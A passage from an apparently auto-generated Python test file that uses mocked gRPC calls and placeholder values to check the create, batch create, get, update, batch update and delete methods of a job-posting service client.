assert response.name == "name_value"
assert response.company == "company_value"
assert response.requisition_id == "requisition_id_value"
assert response.title == "title_value"
assert response.description == "description_value"
assert response.addresses == ["addresses_value"]
assert response.job_benefits == [common.JobBenefit.CHILD_CARE]
assert response.degree_types == [common.DegreeType.PRIMARY_EDUCATION]
assert response.department == "department_value"
assert response.employment_types == [common.EmploymentType.FULL_TIME]
assert response.incentives == "incentives_value"
assert response.language_code == "language_code_value"
assert response.job_level == common.JobLevel.ENTRY_LEVEL
assert response.promotion_value == 1635
assert response.qualifications == "qualifications_value"
assert response.responsibilities == "responsibilities_value"
assert response.posting_region == common.PostingRegion.ADMINISTRATIVE_AREA
assert response.visibility == common.Visibility.ACCOUNT_ONLY
assert response.company_display_name == "company_display_name_value"
def test_create_job_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.CreateJobRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.create_job), "__call__") as call:
call.return_value = gct_job.Job()
client.create_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_job_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.CreateJobRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_job), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(gct_job.Job())
await client.create_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_job_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.create_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = gct_job.Job()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_job(
parent="parent_value", job=gct_job.Job(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].job == gct_job.Job(name="name_value")
def test_create_job_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_job(
job_service.CreateJobRequest(),
parent="parent_value",
job=gct_job.Job(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_job_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_job), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = gct_job.Job()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(gct_job.Job())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_job(
parent="parent_value", job=gct_job.Job(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].job == gct_job.Job(name="name_value")
@pytest.mark.asyncio
async def test_create_job_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_job(
job_service.CreateJobRequest(),
parent="parent_value",
job=gct_job.Job(name="name_value"),
)
def test_batch_create_jobs(
transport: str = "grpc", request_type=job_service.BatchCreateJobsRequest
):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_create_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.batch_create_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.BatchCreateJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_batch_create_jobs_from_dict():
test_batch_create_jobs(request_type=dict)
@pytest.mark.asyncio
async def test_batch_create_jobs_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.BatchCreateJobsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_create_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.batch_create_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_batch_create_jobs_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.BatchCreateJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_create_jobs), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.batch_create_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_create_jobs_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.BatchCreateJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_create_jobs), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.batch_create_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_batch_create_jobs_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_create_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.batch_create_jobs(
parent="parent_value", jobs=[job.Job(name="name_value")],
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].jobs == [job.Job(name="name_value")]
def test_batch_create_jobs_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.batch_create_jobs(
job_service.BatchCreateJobsRequest(),
parent="parent_value",
jobs=[job.Job(name="name_value")],
)
@pytest.mark.asyncio
async def test_batch_create_jobs_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_create_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.batch_create_jobs(
parent="parent_value", jobs=[job.Job(name="name_value")],
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].jobs == [job.Job(name="name_value")]
@pytest.mark.asyncio
async def test_batch_create_jobs_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.batch_create_jobs(
job_service.BatchCreateJobsRequest(),
parent="parent_value",
jobs=[job.Job(name="name_value")],
)
def test_get_job(transport: str = "grpc", request_type=job_service.GetJobRequest):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = job.Job(
name="name_value",
company="company_value",
requisition_id="requisition_id_value",
title="title_value",
description="description_value",
addresses=["addresses_value"],
job_benefits=[common.JobBenefit.CHILD_CARE],
degree_types=[common.DegreeType.PRIMARY_EDUCATION],
department="department_value",
employment_types=[common.EmploymentType.FULL_TIME],
incentives="incentives_value",
language_code="language_code_value",
job_level=common.JobLevel.ENTRY_LEVEL,
promotion_value=1635,
qualifications="qualifications_value",
responsibilities="responsibilities_value",
posting_region=common.PostingRegion.ADMINISTRATIVE_AREA,
visibility=common.Visibility.ACCOUNT_ONLY,
company_display_name="company_display_name_value",
)
response = client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.GetJobRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, job.Job)
assert response.name == "name_value"
assert response.company == "company_value"
assert response.requisition_id == "requisition_id_value"
assert response.title == "title_value"
assert response.description == "description_value"
assert response.addresses == ["addresses_value"]
assert response.job_benefits == [common.JobBenefit.CHILD_CARE]
assert response.degree_types == [common.DegreeType.PRIMARY_EDUCATION]
assert response.department == "department_value"
assert response.employment_types == [common.EmploymentType.FULL_TIME]
assert response.incentives == "incentives_value"
assert response.language_code == "language_code_value"
assert response.job_level == common.JobLevel.ENTRY_LEVEL
assert response.promotion_value == 1635
assert response.qualifications == "qualifications_value"
assert response.responsibilities == "responsibilities_value"
assert response.posting_region == common.PostingRegion.ADMINISTRATIVE_AREA
assert response.visibility == common.Visibility.ACCOUNT_ONLY
assert response.company_display_name == "company_display_name_value"
def test_get_job_from_dict():
test_get_job(request_type=dict)
@pytest.mark.asyncio
async def test_get_job_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.GetJobRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
job.Job(
name="name_value",
company="company_value",
requisition_id="requisition_id_value",
title="title_value",
description="description_value",
addresses=["addresses_value"],
job_benefits=[common.JobBenefit.CHILD_CARE],
degree_types=[common.DegreeType.PRIMARY_EDUCATION],
department="department_value",
employment_types=[common.EmploymentType.FULL_TIME],
incentives="incentives_value",
language_code="language_code_value",
job_level=common.JobLevel.ENTRY_LEVEL,
promotion_value=1635,
qualifications="qualifications_value",
responsibilities="responsibilities_value",
posting_region=common.PostingRegion.ADMINISTRATIVE_AREA,
visibility=common.Visibility.ACCOUNT_ONLY,
company_display_name="company_display_name_value",
)
)
response = await client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, job.Job)
assert response.name == "name_value"
assert response.company == "company_value"
assert response.requisition_id == "requisition_id_value"
assert response.title == "title_value"
assert response.description == "description_value"
assert response.addresses == ["addresses_value"]
assert response.job_benefits == [common.JobBenefit.CHILD_CARE]
assert response.degree_types == [common.DegreeType.PRIMARY_EDUCATION]
assert response.department == "department_value"
assert response.employment_types == [common.EmploymentType.FULL_TIME]
assert response.incentives == "incentives_value"
assert response.language_code == "language_code_value"
assert response.job_level == common.JobLevel.ENTRY_LEVEL
assert response.promotion_value == 1635
assert response.qualifications == "qualifications_value"
assert response.responsibilities == "responsibilities_value"
assert response.posting_region == common.PostingRegion.ADMINISTRATIVE_AREA
assert response.visibility == common.Visibility.ACCOUNT_ONLY
assert response.company_display_name == "company_display_name_value"
def test_get_job_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.GetJobRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_job), "__call__") as call:
call.return_value = job.Job()
client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_job_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.GetJobRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.get_job), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(job.Job())
await client.get_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_job_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = job.Job()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_job(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_job_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_job(
job_service.GetJobRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_job_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.get_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = job.Job()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(job.Job())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_job(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_job_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_job(
job_service.GetJobRequest(), name="name_value",
)
def test_update_job(transport: str = "grpc", request_type=job_service.UpdateJobRequest):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.update_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = gct_job.Job(
name="name_value",
company="company_value",
requisition_id="requisition_id_value",
title="title_value",
description="description_value",
addresses=["addresses_value"],
job_benefits=[common.JobBenefit.CHILD_CARE],
degree_types=[common.DegreeType.PRIMARY_EDUCATION],
department="department_value",
employment_types=[common.EmploymentType.FULL_TIME],
incentives="incentives_value",
language_code="language_code_value",
job_level=common.JobLevel.ENTRY_LEVEL,
promotion_value=1635,
qualifications="qualifications_value",
responsibilities="responsibilities_value",
posting_region=common.PostingRegion.ADMINISTRATIVE_AREA,
visibility=common.Visibility.ACCOUNT_ONLY,
company_display_name="company_display_name_value",
)
response = client.update_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.UpdateJobRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, gct_job.Job)
assert response.name == "name_value"
assert response.company == "company_value"
assert response.requisition_id == "requisition_id_value"
assert response.title == "title_value"
assert response.description == "description_value"
assert response.addresses == ["addresses_value"]
assert response.job_benefits == [common.JobBenefit.CHILD_CARE]
assert response.degree_types == [common.DegreeType.PRIMARY_EDUCATION]
assert response.department == "department_value"
assert response.employment_types == [common.EmploymentType.FULL_TIME]
assert response.incentives == "incentives_value"
assert response.language_code == "language_code_value"
assert response.job_level == common.JobLevel.ENTRY_LEVEL
assert response.promotion_value == 1635
assert response.qualifications == "qualifications_value"
assert response.responsibilities == "responsibilities_value"
assert response.posting_region == common.PostingRegion.ADMINISTRATIVE_AREA
assert response.visibility == common.Visibility.ACCOUNT_ONLY
assert response.company_display_name == "company_display_name_value"
def test_update_job_from_dict():
test_update_job(request_type=dict)
@pytest.mark.asyncio
async def test_update_job_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.UpdateJobRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_job), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
gct_job.Job(
name="name_value",
company="company_value",
requisition_id="requisition_id_value",
title="title_value",
description="description_value",
addresses=["addresses_value"],
job_benefits=[common.JobBenefit.CHILD_CARE],
degree_types=[common.DegreeType.PRIMARY_EDUCATION],
department="department_value",
employment_types=[common.EmploymentType.FULL_TIME],
incentives="incentives_value",
language_code="language_code_value",
job_level=common.JobLevel.ENTRY_LEVEL,
promotion_value=1635,
qualifications="qualifications_value",
responsibilities="responsibilities_value",
posting_region=common.PostingRegion.ADMINISTRATIVE_AREA,
visibility=common.Visibility.ACCOUNT_ONLY,
company_display_name="company_display_name_value",
)
)
response = await client.update_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, gct_job.Job)
assert response.name == "name_value"
assert response.company == "company_value"
assert response.requisition_id == "requisition_id_value"
assert response.title == "title_value"
assert response.description == "description_value"
assert response.addresses == ["addresses_value"]
assert response.job_benefits == [common.JobBenefit.CHILD_CARE]
assert response.degree_types == [common.DegreeType.PRIMARY_EDUCATION]
assert response.department == "department_value"
assert response.employment_types == [common.EmploymentType.FULL_TIME]
assert response.incentives == "incentives_value"
assert response.language_code == "language_code_value"
assert response.job_level == common.JobLevel.ENTRY_LEVEL
assert response.promotion_value == 1635
assert response.qualifications == "qualifications_value"
assert response.responsibilities == "responsibilities_value"
assert response.posting_region == common.PostingRegion.ADMINISTRATIVE_AREA
assert response.visibility == common.Visibility.ACCOUNT_ONLY
assert response.company_display_name == "company_display_name_value"
def test_update_job_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.UpdateJobRequest()
request.job.name = "job.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.update_job), "__call__") as call:
call.return_value = gct_job.Job()
client.update_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "job.name=job.name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_job_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.UpdateJobRequest()
request.job.name = "job.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_job), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(gct_job.Job())
await client.update_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "job.name=job.name/value",) in kw["metadata"]
def test_update_job_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.update_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = gct_job.Job()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_job(job=gct_job.Job(name="name_value"),)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].job == gct_job.Job(name="name_value")
def test_update_job_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_job(
job_service.UpdateJobRequest(), job=gct_job.Job(name="name_value"),
)
@pytest.mark.asyncio
async def test_update_job_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_job), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = gct_job.Job()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(gct_job.Job())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_job(job=gct_job.Job(name="name_value"),)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].job == gct_job.Job(name="name_value")
@pytest.mark.asyncio
async def test_update_job_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_job(
job_service.UpdateJobRequest(), job=gct_job.Job(name="name_value"),
)
def test_batch_update_jobs(
transport: str = "grpc", request_type=job_service.BatchUpdateJobsRequest
):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_update_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.batch_update_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.BatchUpdateJobsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_batch_update_jobs_from_dict():
test_batch_update_jobs(request_type=dict)
@pytest.mark.asyncio
async def test_batch_update_jobs_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.BatchUpdateJobsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_update_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.batch_update_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_batch_update_jobs_field_headers():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.BatchUpdateJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_update_jobs), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.batch_update_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_update_jobs_field_headers_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = job_service.BatchUpdateJobsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_update_jobs), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.batch_update_jobs(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_batch_update_jobs_flattened():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.batch_update_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.batch_update_jobs(
parent="parent_value", jobs=[job.Job(name="name_value")],
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].jobs == [job.Job(name="name_value")]
def test_batch_update_jobs_flattened_error():
client = JobServiceClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.batch_update_jobs(
job_service.BatchUpdateJobsRequest(),
parent="parent_value",
jobs=[job.Job(name="name_value")],
)
@pytest.mark.asyncio
async def test_batch_update_jobs_flattened_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.batch_update_jobs), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.batch_update_jobs(
parent="parent_value", jobs=[job.Job(name="name_value")],
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].jobs == [job.Job(name="name_value")]
@pytest.mark.asyncio
async def test_batch_update_jobs_flattened_error_async():
client = JobServiceAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.batch_update_jobs(
job_service.BatchUpdateJobsRequest(),
parent="parent_value",
jobs=[job.Job(name="name_value")],
)
def test_delete_job(transport: str = "grpc", request_type=job_service.DeleteJobRequest):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.delete_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.DeleteJobRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_job_from_dict():
test_delete_job(request_type=dict)
@pytest.mark.asyncio
async def test_delete_job_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.DeleteJobRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_job), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
